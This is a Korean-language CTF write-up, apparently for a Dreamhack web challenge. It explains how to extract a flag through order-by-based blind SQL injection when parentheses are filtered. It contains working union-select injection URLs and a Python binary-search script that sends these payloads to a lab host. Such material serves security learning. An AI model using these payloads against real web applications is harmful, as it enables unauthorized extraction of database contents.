ID와 PW는 기존문제랑 푸는 방법이 똑같습니다.

그런데!!

'(', ')' 소괄호를 아예 사용할 수가 없어서 flag를 기존과 동일한 방법으로 구할 수가 없습니다!

이전문제에서 150 카운트 되면 flag가 변경되니까 blind_SQL_INJECTION 사용할 수 없다고 했는데 

이번 문제에서 아주 야무지게 사용할 수 있습니다!!!


ID, PW_COLUMN, PW 구하는 방법은 이전과 똑같으니까 참고하시기 바랍니다.

 

ID ?id=' or 1%23 (id) zairowkdlfhdkel
PW_COLUMN ?id=' and 0 union select 1,&pw=,3,4,5%23 xvvcPw4coaa1sslfe
PW ?id=' union select 1,xvvcPw4coaa1sslfe,3,4,5 from findflag_2%23 URL 인젝션 전 : wkdlfhpw!!@%%#@@#
URL 인젝션 후 : wkdlfhpw!!%40%25%25%23%40%40%23

이전문제에서 확인했다시피 $query[$id_column]

쿼리값에서 id 컬럼의 데이터를 확인할 수 가 있었습니다.

 

그러면 flag가 위치하는 4번째 컬럼에 오름차순으로 order by시키면 

blind_sql_injection을 사용해서 flag문자와 일치하지 않으면 

id값인 'zairowkdlfhdkel'이 출력되고, 

flag문자와 일치하면 저희가 두번째 컬럼에 지정한 값이 출력되도록

조건 값을 설정하여 공격을 할 수 있습니다.


아래에 예시가 있습니다.

 

3번째 컬럼에 위치한 pw를 정렬(기본값 : 오름차순)해서 값이('a' == 'a'ssaf123sdfsdf) 일치하면

a가 상위 튜플에 위치한 것을 확인할 수 있습니다.


 

반면

값('b' == 'a'ssaf123sdfsdf)이 일치하지 않으면 목적값이

상위 튜플에 위치한 것을 확인할 수 있습니다. 


위에는 순서가 변화는 경계값만 확인했는데(하필 가장 상단의 'a'를 해서 확인을 할 수 가 없네...)

전체적으로 보면

(찾고자 하는 문자의 첫번째 값이 'e'일때)

a b c d e f g h i j
9999 9999 9999 9999 9999 kwonohjun kwonohjun kwonohjun kwonohjun kwonohjun

오름차순 정렬이니까 'e'포함 앞의 알파벳은 다 상위에 위치하게 되고

나머지는 하위에 위치하게 됩니다.


정리하면

flag(assaf123sdfsdf)와 하나 씩 매칭해서 일치하면 

내가 임의로 입력한 값 두번 째 컬럼에 위치한 '9999' 가 출력되게 되고

일치하지 않으면 $query[$id_column] 에 의해 id값인 'zairowkdlfhdkel'이 출력되게 됩니다.

(이전문제에서 확인했다시피 두번 째 컬럼이 웹에서 표현되는 컬럼입니다.)


문제로 돌아와서 잠깐 코드를 보면

        $string "1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);

 

str_shuffle이 $string문자를 하나씩 랜덤으로 사용하면서 사용한 문자는 사라집니다.

($string 개수 : 36->35->34->33->...->1)

 

문자를 하나씩 대조한다고 하면 36+35+34+33+...+1

150개가 당연히 넘어가겠죠? ㅎㅎ

 

그래서 이진 탐색을 사용해서 공격을 해볼겁니다.

 

저는 36개의 문자의 중간은 (1+36)/2=18.5(반올림 : 19)

19가 9999이면 19번째 이상에 flag값 문자 하나가 존재하는거니까 19미만은 삭제

zairowkdlfhdkel면 19미만에 존재하는거니까 19이상은 삭제 이런식으로 할겁니다.

 

19번째 9999 flag>=19 19미만 삭제
19번째 zairowkdlfhdkel flag<19 19이상 삭제

flag의 첫번째 문자 : 'm'

23 : 생존


위와 같은 방식으로 string 문자 개수 만큼 즉 36번을 반복하면 됩니다.

반복할때마다 $string "1234567890abcdefghijklmnopqrstuvwxyz";

개수는 하나씩 줄어드니까 이진 탐색 횟수도 줄어듭니다.


이진 탐색 코드

import requests

import math


url = "http://host3.dreamhack.games:21787/"
result=""

upw=""
key_flag=""
rand_num = "0123456789abcdefghijklmnopqrstuvwxyz"

for j in range(len(rand_num)-1):
    start = rand_num.index(rand_num[0])
    end = rand_num.index(rand_num[len(rand_num)-1])

    while start < end:
        middle = (start + end)/2
        param ="?id=%27%20or%201%20union%20select%201,9999,1,%20'"+result+rand_num[math.ceil(middle)]+"',1%20from%20findflag_2%20order%20by%204%23"
        res_url = url+param
        response = requests.get(res_url)
        print(res_url)
        
        if response.text.find("9999") >= 0: #오른쪽
            num = rand_num[math.ceil(middle):end+1]
            print("조회 : 9999")
            start = rand_num.index(rand_num[math.ceil(middle)])

        else:
            num = rand_num[start:math.ceil(middle)]
            print("조회 : id")
            end = rand_num.index(rand_num[math.ceil(middle)])-1

        print("start :",start)
        print("end :",end)
        print("num :",num)
        print("rand_num :",rand_num)
        print("\n")

    result = result + num
    rand_num = rand_num.replace(num,'')
